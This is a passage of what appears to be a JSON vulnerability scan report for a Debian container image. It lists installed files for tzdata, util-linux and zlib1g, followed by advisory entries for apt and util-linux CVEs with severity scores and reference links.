"/usr/share/zoneinfo/Asia/Dili", "/usr/share/zoneinfo/Asia/Dubai", "/usr/share/zoneinfo/Asia/Dushanbe", "/usr/share/zoneinfo/Asia/Famagusta", "/usr/share/zoneinfo/Asia/Gaza", "/usr/share/zoneinfo/Asia/Hebron", "/usr/share/zoneinfo/Asia/Ho_Chi_Minh", "/usr/share/zoneinfo/Asia/Hong_Kong", "/usr/share/zoneinfo/Asia/Hovd", "/usr/share/zoneinfo/Asia/Irkutsk", "/usr/share/zoneinfo/Asia/Jakarta", "/usr/share/zoneinfo/Asia/Jayapura", "/usr/share/zoneinfo/Asia/Jerusalem", "/usr/share/zoneinfo/Asia/Kabul", "/usr/share/zoneinfo/Asia/Kamchatka", "/usr/share/zoneinfo/Asia/Karachi", "/usr/share/zoneinfo/Asia/Kathmandu", "/usr/share/zoneinfo/Asia/Khandyga", "/usr/share/zoneinfo/Asia/Kolkata", "/usr/share/zoneinfo/Asia/Krasnoyarsk", "/usr/share/zoneinfo/Asia/Kuala_Lumpur", "/usr/share/zoneinfo/Asia/Kuching", "/usr/share/zoneinfo/Asia/Kuwait", "/usr/share/zoneinfo/Asia/Macau", "/usr/share/zoneinfo/Asia/Magadan", "/usr/share/zoneinfo/Asia/Makassar", "/usr/share/zoneinfo/Asia/Manila", "/usr/share/zoneinfo/Asia/Muscat", "/usr/share/zoneinfo/Asia/Nicosia", "/usr/share/zoneinfo/Asia/Novokuznetsk", "/usr/share/zoneinfo/Asia/Novosibirsk", "/usr/share/zoneinfo/Asia/Omsk", "/usr/share/zoneinfo/Asia/Oral", "/usr/share/zoneinfo/Asia/Phnom_Penh", "/usr/share/zoneinfo/Asia/Pontianak", "/usr/share/zoneinfo/Asia/Pyongyang", "/usr/share/zoneinfo/Asia/Qatar", "/usr/share/zoneinfo/Asia/Qostanay", "/usr/share/zoneinfo/Asia/Qyzylorda", "/usr/share/zoneinfo/Asia/Riyadh", "/usr/share/zoneinfo/Asia/Sakhalin", "/usr/share/zoneinfo/Asia/Samarkand", "/usr/share/zoneinfo/Asia/Seoul", "/usr/share/zoneinfo/Asia/Shanghai", "/usr/share/zoneinfo/Asia/Singapore", "/usr/share/zoneinfo/Asia/Srednekolymsk", "/usr/share/zoneinfo/Asia/Taipei", "/usr/share/zoneinfo/Asia/Tashkent", "/usr/share/zoneinfo/Asia/Tbilisi", "/usr/share/zoneinfo/Asia/Tehran", "/usr/share/zoneinfo/Asia/Thimphu", "/usr/share/zoneinfo/Asia/Tokyo", "/usr/share/zoneinfo/Asia/Tomsk", "/usr/share/zoneinfo/Asia/Ulaanbaatar", "/usr/share/zoneinfo/Asia/Urumqi", "/usr/share/zoneinfo/Asia/Ust-Nera", "/usr/share/zoneinfo/Asia/Vientiane", "/usr/share/zoneinfo/Asia/Vladivostok", "/usr/share/zoneinfo/Asia/Yakutsk", "/usr/share/zoneinfo/Asia/Yangon", "/usr/share/zoneinfo/Asia/Yekaterinburg", "/usr/share/zoneinfo/Asia/Yerevan", "/usr/share/zoneinfo/Atlantic/Azores", "/usr/share/zoneinfo/Atlantic/Bermuda", "/usr/share/zoneinfo/Atlantic/Canary", "/usr/share/zoneinfo/Atlantic/Cape_Verde", "/usr/share/zoneinfo/Atlantic/Faroe", "/usr/share/zoneinfo/Atlantic/Madeira", "/usr/share/zoneinfo/Atlantic/Reykjavik", "/usr/share/zoneinfo/Atlantic/South_Georgia", "/usr/share/zoneinfo/Atlantic/St_Helena", "/usr/share/zoneinfo/Atlantic/Stanley", "/usr/share/zoneinfo/Australia/Adelaide", "/usr/share/zoneinfo/Australia/Brisbane", "/usr/share/zoneinfo/Australia/Broken_Hill", "/usr/share/zoneinfo/Australia/Darwin", "/usr/share/zoneinfo/Australia/Eucla", "/usr/share/zoneinfo/Australia/Hobart", "/usr/share/zoneinfo/Australia/Lindeman", "/usr/share/zoneinfo/Australia/Lord_Howe", "/usr/share/zoneinfo/Australia/Melbourne", "/usr/share/zoneinfo/Australia/Perth", "/usr/share/zoneinfo/Australia/Sydney", "/usr/share/zoneinfo/Etc/GMT", "/usr/share/zoneinfo/Etc/GMT+1", "/usr/share/zoneinfo/Etc/GMT+10", "/usr/share/zoneinfo/Etc/GMT+11", "/usr/share/zoneinfo/Etc/GMT+12", "/usr/share/zoneinfo/Etc/GMT+2", "/usr/share/zoneinfo/Etc/GMT+3", "/usr/share/zoneinfo/Etc/GMT+4", "/usr/share/zoneinfo/Etc/GMT+5", "/usr/share/zoneinfo/Etc/GMT+6", "/usr/share/zoneinfo/Etc/GMT+7", "/usr/share/zoneinfo/Etc/GMT+8", "/usr/share/zoneinfo/Etc/GMT+9", "/usr/share/zoneinfo/Etc/GMT-1", "/usr/share/zoneinfo/Etc/GMT-10", "/usr/share/zoneinfo/Etc/GMT-11", "/usr/share/zoneinfo/Etc/GMT-12", "/usr/share/zoneinfo/Etc/GMT-13", "/usr/share/zoneinfo/Etc/GMT-14", "/usr/share/zoneinfo/Etc/GMT-2", "/usr/share/zoneinfo/Etc/GMT-3", "/usr/share/zoneinfo/Etc/GMT-4", "/usr/share/zoneinfo/Etc/GMT-5", "/usr/share/zoneinfo/Etc/GMT-6", "/usr/share/zoneinfo/Etc/GMT-7", "/usr/share/zoneinfo/Etc/GMT-8", "/usr/share/zoneinfo/Etc/GMT-9", "/usr/share/zoneinfo/Etc/UTC", "/usr/share/zoneinfo/Europe/Amsterdam", "/usr/share/zoneinfo/Europe/Andorra", "/usr/share/zoneinfo/Europe/Astrakhan", "/usr/share/zoneinfo/Europe/Athens", "/usr/share/zoneinfo/Europe/Belgrade", "/usr/share/zoneinfo/Europe/Berlin", "/usr/share/zoneinfo/Europe/Brussels", "/usr/share/zoneinfo/Europe/Bucharest", "/usr/share/zoneinfo/Europe/Budapest", "/usr/share/zoneinfo/Europe/Chisinau", "/usr/share/zoneinfo/Europe/Copenhagen", "/usr/share/zoneinfo/Europe/Dublin", "/usr/share/zoneinfo/Europe/Gibraltar", "/usr/share/zoneinfo/Europe/Guernsey", "/usr/share/zoneinfo/Europe/Helsinki", "/usr/share/zoneinfo/Europe/Isle_of_Man", "/usr/share/zoneinfo/Europe/Istanbul", "/usr/share/zoneinfo/Europe/Jersey", "/usr/share/zoneinfo/Europe/Kaliningrad", "/usr/share/zoneinfo/Europe/Kirov", "/usr/share/zoneinfo/Europe/Kyiv", "/usr/share/zoneinfo/Europe/Lisbon", "/usr/share/zoneinfo/Europe/Ljubljana", "/usr/share/zoneinfo/Europe/London", "/usr/share/zoneinfo/Europe/Luxembourg", "/usr/share/zoneinfo/Europe/Madrid", "/usr/share/zoneinfo/Europe/Malta", "/usr/share/zoneinfo/Europe/Minsk", "/usr/share/zoneinfo/Europe/Monaco", "/usr/share/zoneinfo/Europe/Moscow", "/usr/share/zoneinfo/Europe/Oslo", "/usr/share/zoneinfo/Europe/Paris", "/usr/share/zoneinfo/Europe/Prague", "/usr/share/zoneinfo/Europe/Riga", "/usr/share/zoneinfo/Europe/Rome", "/usr/share/zoneinfo/Europe/Samara", "/usr/share/zoneinfo/Europe/Sarajevo", "/usr/share/zoneinfo/Europe/Saratov", "/usr/share/zoneinfo/Europe/Simferopol", "/usr/share/zoneinfo/Europe/Skopje", "/usr/share/zoneinfo/Europe/Sofia", "/usr/share/zoneinfo/Europe/Stockholm", "/usr/share/zoneinfo/Europe/Tallinn", "/usr/share/zoneinfo/Europe/Tirane", "/usr/share/zoneinfo/Europe/Ulyanovsk", "/usr/share/zoneinfo/Europe/Vaduz", "/usr/share/zoneinfo/Europe/Vienna", "/usr/share/zoneinfo/Europe/Vilnius", "/usr/share/zoneinfo/Europe/Volgograd", "/usr/share/zoneinfo/Europe/Warsaw", "/usr/share/zoneinfo/Europe/Zagreb", "/usr/share/zoneinfo/Europe/Zurich", "/usr/share/zoneinfo/Factory", "/usr/share/zoneinfo/Indian/Antananarivo", "/usr/share/zoneinfo/Indian/Chagos", "/usr/share/zoneinfo/Indian/Christmas", "/usr/share/zoneinfo/Indian/Cocos", "/usr/share/zoneinfo/Indian/Comoro", "/usr/share/zoneinfo/Indian/Kerguelen", "/usr/share/zoneinfo/Indian/Mahe", "/usr/share/zoneinfo/Indian/Maldives", "/usr/share/zoneinfo/Indian/Mauritius", "/usr/share/zoneinfo/Indian/Mayotte", "/usr/share/zoneinfo/Indian/Reunion", "/usr/share/zoneinfo/Pacific/Apia", "/usr/share/zoneinfo/Pacific/Auckland", "/usr/share/zoneinfo/Pacific/Bougainville", "/usr/share/zoneinfo/Pacific/Chatham", "/usr/share/zoneinfo/Pacific/Chuuk", "/usr/share/zoneinfo/Pacific/Easter", "/usr/share/zoneinfo/Pacific/Efate", "/usr/share/zoneinfo/Pacific/Fakaofo", "/usr/share/zoneinfo/Pacific/Fiji", "/usr/share/zoneinfo/Pacific/Funafuti", "/usr/share/zoneinfo/Pacific/Galapagos", "/usr/share/zoneinfo/Pacific/Gambier", "/usr/share/zoneinfo/Pacific/Guadalcanal", "/usr/share/zoneinfo/Pacific/Guam", "/usr/share/zoneinfo/Pacific/Honolulu", "/usr/share/zoneinfo/Pacific/Kanton", "/usr/share/zoneinfo/Pacific/Kiritimati", "/usr/share/zoneinfo/Pacific/Kosrae", "/usr/share/zoneinfo/Pacific/Kwajalein", "/usr/share/zoneinfo/Pacific/Majuro", "/usr/share/zoneinfo/Pacific/Marquesas", "/usr/share/zoneinfo/Pacific/Midway", "/usr/share/zoneinfo/Pacific/Nauru", "/usr/share/zoneinfo/Pacific/Niue", "/usr/share/zoneinfo/Pacific/Norfolk", "/usr/share/zoneinfo/Pacific/Noumea", "/usr/share/zoneinfo/Pacific/Pago_Pago", "/usr/share/zoneinfo/Pacific/Palau", "/usr/share/zoneinfo/Pacific/Pitcairn", "/usr/share/zoneinfo/Pacific/Pohnpei", "/usr/share/zoneinfo/Pacific/Port_Moresby", "/usr/share/zoneinfo/Pacific/Rarotonga", "/usr/share/zoneinfo/Pacific/Saipan", "/usr/share/zoneinfo/Pacific/Tahiti", "/usr/share/zoneinfo/Pacific/Tarawa", "/usr/share/zoneinfo/Pacific/Tongatapu", "/usr/share/zoneinfo/Pacific/Wake", "/usr/share/zoneinfo/Pacific/Wallis", "/usr/share/zoneinfo/iso3166.tab", "/usr/share/zoneinfo/leap-seconds.list", "/usr/share/zoneinfo/leapseconds", "/usr/share/zoneinfo/tzdata.zi", "/usr/share/zoneinfo/zone.tab", "/usr/share/zoneinfo/zone1970.tab", "/usr/share/zoneinfo/zonenow.tab" ], "AnalyzedBy": "dpkg" }, { "ID": "util-linux@2.41-5", "Name": "util-linux", "Identifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "972fb85b9c9e83e7" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/choom", "/usr/bin/chrt", "/usr/bin/dmesg", "/usr/bin/fallocate", "/usr/bin/findmnt", "/usr/bin/flock", "/usr/bin/getopt", "/usr/bin/hardlink", "/usr/bin/ionice", "/usr/bin/ipcmk", "/usr/bin/ipcrm", "/usr/bin/ipcs", "/usr/bin/lsblk", "/usr/bin/lscpu", "/usr/bin/lsipc", "/usr/bin/lslocks", "/usr/bin/lslogins", "/usr/bin/lsmem", "/usr/bin/lsns", "/usr/bin/mcookie", "/usr/bin/more", "/usr/bin/mountpoint", "/usr/bin/namei", "/usr/bin/nsenter", "/usr/bin/partx", "/usr/bin/prlimit", "/usr/bin/rename.ul", "/usr/bin/rev", "/usr/bin/setarch", "/usr/bin/setpriv", "/usr/bin/setsid", "/usr/bin/setterm", "/usr/bin/su", "/usr/bin/taskset", "/usr/bin/uclampset", "/usr/bin/unshare", "/usr/bin/wdctl", "/usr/bin/whereis", "/usr/lib/mime/packages/util-linux", "/usr/lib/systemd/system/fstrim.service", "/usr/lib/systemd/system/fstrim.timer", "/usr/sbin/agetty", "/usr/sbin/blkdiscard", "/usr/sbin/blkid", "/usr/sbin/blkzone", "/usr/sbin/blockdev", "/usr/sbin/chcpu", "/usr/sbin/chmem", "/usr/sbin/findfs", "/usr/sbin/fsck", "/usr/sbin/fsfreeze", "/usr/sbin/fstrim", "/usr/sbin/isosize", "/usr/sbin/ldattach", "/usr/sbin/mkfs", "/usr/sbin/mkswap", "/usr/sbin/pivot_root", "/usr/sbin/readprofile", "/usr/sbin/rtcwake", "/usr/sbin/runuser", "/usr/sbin/sulogin", "/usr/sbin/swaplabel", "/usr/sbin/switch_root", "/usr/sbin/wipefs", "/usr/sbin/zramctl", "/usr/share/bash-completion/completions/blkdiscard", "/usr/share/bash-completion/completions/blkid", "/usr/share/bash-completion/completions/blkzone", "/usr/share/bash-completion/completions/blockdev", "/usr/share/bash-completion/completions/chcpu", "/usr/share/bash-completion/completions/chmem", "/usr/share/bash-completion/completions/chrt", "/usr/share/bash-completion/completions/dmesg", "/usr/share/bash-completion/completions/fallocate", "/usr/share/bash-completion/completions/findfs", "/usr/share/bash-completion/completions/findmnt", "/usr/share/bash-completion/completions/flock", "/usr/share/bash-completion/completions/fsck", "/usr/share/bash-completion/completions/fsfreeze", "/usr/share/bash-completion/completions/fstrim", "/usr/share/bash-completion/completions/getopt", "/usr/share/bash-completion/completions/hardlink", "/usr/share/bash-completion/completions/ionice", "/usr/share/bash-completion/completions/ipcmk", "/usr/share/bash-completion/completions/ipcrm", "/usr/share/bash-completion/completions/ipcs", "/usr/share/bash-completion/completions/isosize", "/usr/share/bash-completion/completions/ldattach", "/usr/share/bash-completion/completions/lsblk", "/usr/share/bash-completion/completions/lscpu", "/usr/share/bash-completion/completions/lsipc", "/usr/share/bash-completion/completions/lslocks", "/usr/share/bash-completion/completions/lslogins", "/usr/share/bash-completion/completions/lsmem", "/usr/share/bash-completion/completions/lsns", "/usr/share/bash-completion/completions/mcookie", "/usr/share/bash-completion/completions/mkfs", "/usr/share/bash-completion/completions/mkswap", "/usr/share/bash-completion/completions/more", "/usr/share/bash-completion/completions/mountpoint", "/usr/share/bash-completion/completions/namei", "/usr/share/bash-completion/completions/nsenter", "/usr/share/bash-completion/completions/partx", "/usr/share/bash-completion/completions/pivot_root", "/usr/share/bash-completion/completions/prlimit", "/usr/share/bash-completion/completions/readprofile", "/usr/share/bash-completion/completions/rename.ul", "/usr/share/bash-completion/completions/rev", "/usr/share/bash-completion/completions/rtcwake", "/usr/share/bash-completion/completions/setarch", "/usr/share/bash-completion/completions/setpriv", "/usr/share/bash-completion/completions/setsid", "/usr/share/bash-completion/completions/setterm", "/usr/share/bash-completion/completions/su", "/usr/share/bash-completion/completions/swaplabel", "/usr/share/bash-completion/completions/taskset", "/usr/share/bash-completion/completions/uclampset", "/usr/share/bash-completion/completions/unshare", "/usr/share/bash-completion/completions/wdctl", "/usr/share/bash-completion/completions/whereis", "/usr/share/bash-completion/completions/wipefs", "/usr/share/bash-completion/completions/zramctl", "/usr/share/doc/util-linux/00-about-docs.txt", "/usr/share/doc/util-linux/AUTHORS.gz", "/usr/share/doc/util-linux/NEWS.Debian.gz", "/usr/share/doc/util-linux/PAM-configuration.txt", "/usr/share/doc/util-linux/README.Debian", "/usr/share/doc/util-linux/blkid.txt", "/usr/share/doc/util-linux/cal.txt", "/usr/share/doc/util-linux/changelog.Debian.gz", "/usr/share/doc/util-linux/changelog.gz", "/usr/share/doc/util-linux/col.txt", "/usr/share/doc/util-linux/copyright", "/usr/share/doc/util-linux/deprecated.txt", "/usr/share/doc/util-linux/examples/getopt-example.bash", "/usr/share/doc/util-linux/getopt.txt", "/usr/share/doc/util-linux/getopt_changelog.txt", "/usr/share/doc/util-linux/howto-build-sys.txt", "/usr/share/doc/util-linux/howto-compilation.txt", "/usr/share/doc/util-linux/howto-contribute.txt.gz", "/usr/share/doc/util-linux/howto-debug.txt", "/usr/share/doc/util-linux/howto-man-page.txt", "/usr/share/doc/util-linux/howto-pull-request.txt.gz", "/usr/share/doc/util-linux/howto-tests.txt", "/usr/share/doc/util-linux/howto-usage-function.txt.gz", "/usr/share/doc/util-linux/hwclock.txt", "/usr/share/doc/util-linux/modems-with-agetty.txt", "/usr/share/doc/util-linux/mount.txt", "/usr/share/doc/util-linux/parse-date.txt.gz", "/usr/share/doc/util-linux/pg.txt", "/usr/share/doc/util-linux/poeigl.txt.gz", "/usr/share/doc/util-linux/release-schedule.txt", "/usr/share/doc/util-linux/releases/v2.13-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.14-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.15-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.16-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.17-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.18-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.19-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.20-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.21-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.22-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.23-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.24-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.25-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.26-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.27-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.28-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.29-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.30-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.31-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.32-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.33-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.34-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.35-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.36-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.37-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.38-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.39-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.40-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.41-ReleaseNotes.gz", "/usr/share/lintian/overrides/util-linux", "/usr/share/man/man1/choom.1.gz", "/usr/share/man/man1/chrt.1.gz", "/usr/share/man/man1/dmesg.1.gz", "/usr/share/man/man1/fallocate.1.gz", "/usr/share/man/man1/flock.1.gz", "/usr/share/man/man1/getopt.1.gz", "/usr/share/man/man1/hardlink.1.gz", "/usr/share/man/man1/ionice.1.gz", "/usr/share/man/man1/ipcmk.1.gz", "/usr/share/man/man1/ipcrm.1.gz", "/usr/share/man/man1/ipcs.1.gz", "/usr/share/man/man1/lscpu.1.gz", "/usr/share/man/man1/lsipc.1.gz", "/usr/share/man/man1/lslogins.1.gz", "/usr/share/man/man1/lsmem.1.gz", "/usr/share/man/man1/mcookie.1.gz", "/usr/share/man/man1/more.1.gz", "/usr/share/man/man1/mountpoint.1.gz", "/usr/share/man/man1/namei.1.gz", "/usr/share/man/man1/nsenter.1.gz", "/usr/share/man/man1/prlimit.1.gz", "/usr/share/man/man1/rename.ul.1.gz", "/usr/share/man/man1/rev.1.gz", "/usr/share/man/man1/runuser.1.gz", "/usr/share/man/man1/setpriv.1.gz", "/usr/share/man/man1/setsid.1.gz", "/usr/share/man/man1/setterm.1.gz", "/usr/share/man/man1/su.1.gz", "/usr/share/man/man1/taskset.1.gz", "/usr/share/man/man1/uclampset.1.gz", "/usr/share/man/man1/unshare.1.gz", "/usr/share/man/man1/whereis.1.gz", "/usr/share/man/man5/adjtime_config.5.gz", "/usr/share/man/man5/scols-filter.5.gz", "/usr/share/man/man5/terminal-colors.d.5.gz", "/usr/share/man/man8/agetty.8.gz", "/usr/share/man/man8/blkdiscard.8.gz", "/usr/share/man/man8/blkid.8.gz", "/usr/share/man/man8/blkzone.8.gz", "/usr/share/man/man8/blockdev.8.gz", "/usr/share/man/man8/chcpu.8.gz", "/usr/share/man/man8/chmem.8.gz", "/usr/share/man/man8/findfs.8.gz", "/usr/share/man/man8/findmnt.8.gz", "/usr/share/man/man8/fsck.8.gz", "/usr/share/man/man8/fsfreeze.8.gz", "/usr/share/man/man8/fstrim.8.gz", "/usr/share/man/man8/isosize.8.gz", "/usr/share/man/man8/ldattach.8.gz", "/usr/share/man/man8/lsblk.8.gz", "/usr/share/man/man8/lslocks.8.gz", "/usr/share/man/man8/lsns.8.gz", "/usr/share/man/man8/mkfs.8.gz", "/usr/share/man/man8/mkswap.8.gz", "/usr/share/man/man8/partx.8.gz", "/usr/share/man/man8/pivot_root.8.gz", "/usr/share/man/man8/readprofile.8.gz", "/usr/share/man/man8/rtcwake.8.gz", "/usr/share/man/man8/setarch.8.gz", "/usr/share/man/man8/sulogin.8.gz", "/usr/share/man/man8/swaplabel.8.gz", "/usr/share/man/man8/switch_root.8.gz", "/usr/share/man/man8/wdctl.8.gz", "/usr/share/man/man8/wipefs.8.gz", "/usr/share/man/man8/zramctl.8.gz", "/usr/share/util-linux/logcheck/ignore.d.server/util-linux" ], "AnalyzedBy": "dpkg" }, { "ID": "zlib1g@1:1.3.dfsg+really1.3.1-1+b1", "Name": "zlib1g", "Identifier": { "PURL": "pkg:deb/debian/zlib1g@1.3.dfsg%2Breally1.3.1-1%2Bb1?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "ff182eb2a26a8142" }, "Version": "1.3.dfsg+really1.3.1", "Release": "1+b1", "Epoch": 1, "Arch": "amd64", "SrcName": "zlib", "SrcVersion": "1.3.dfsg+really1.3.1", "SrcRelease": "1", "SrcEpoch": 1, "Licenses": [ "Zlib" ], "Maintainer": "Mark Brown \u003cbroonie@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libz.so.1.3.1", "/usr/share/doc/zlib1g/changelog.Debian.amd64.gz", "/usr/share/doc/zlib1g/changelog.Debian.gz", "/usr/share/doc/zlib1g/changelog.gz", "/usr/share/doc/zlib1g/copyright" ], "AnalyzedBy": "dpkg" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-109518", "VendorIDs": [ "DSA-6607-1" ], "PkgID": "apt@3.0.3", "PkgName": "apt", "PkgIdentifier": { "PURL": "pkg:deb/debian/apt@3.0.3?arch=amd64\u0026distro=debian-13.6", "UID": "38b14e7ad28ff419" }, "InstalledVersion": "3.0.3", "FixedVersion": "3.0.4", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-109518", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:96ba8e19d5a9312af6b44b1408d12a876e10be66f5aed88ad21e1f2aefc52452", "Title": "apt: apt: Remote code execution via hard link reuse during package download retries", "Description": "On Debian, Ubuntu, and derivative Linux distributions, an on-path attacker who can manipulate the HTTP traffic (including a malicious mirror or proxy) between an APT client and an archive server triggered by a package install can trick the client into installing an attacker-controlled unverified package and achieve remote code execution with root privileges.\n\n\n\nThe vulnerability is caused by the reuse of hard links and requires the client to follow redirects and retry the download of package files. It requires the client to have a non-zero Acquire::Retries configuration setting; the value 3 is the default starting with Debian 12 (bookworm) and Ubuntu 22.04 LTS (Jammy Jellyfish), so older releases are unaffected in a default configuration", "Severity": "HIGH", "CweIDs": [ "CWE-62", "CWE-367" ], "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/11/04/12", "https://access.redhat.com/security/cve/CVE-2026-109518", "https://lists.debian.org/debian-lts-announce/2026/11/msg00004.html", "https://lists.debian.org/debian-security-announce/2026/msg00526.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-109518", "https://ubuntu.com/blog/apt-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8996-1", "https://www.cve.org/CVERecord?id=CVE-2026-109518" ], "PublishedDate": "2026-11-04T16:17:33.01Z", "LastModifiedDate": "2026-11-05T05:18:19.033Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0ef42c78632a8233d4168145431ed3b7843e4b2d6bc8c5557df72f0d868e1650", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", 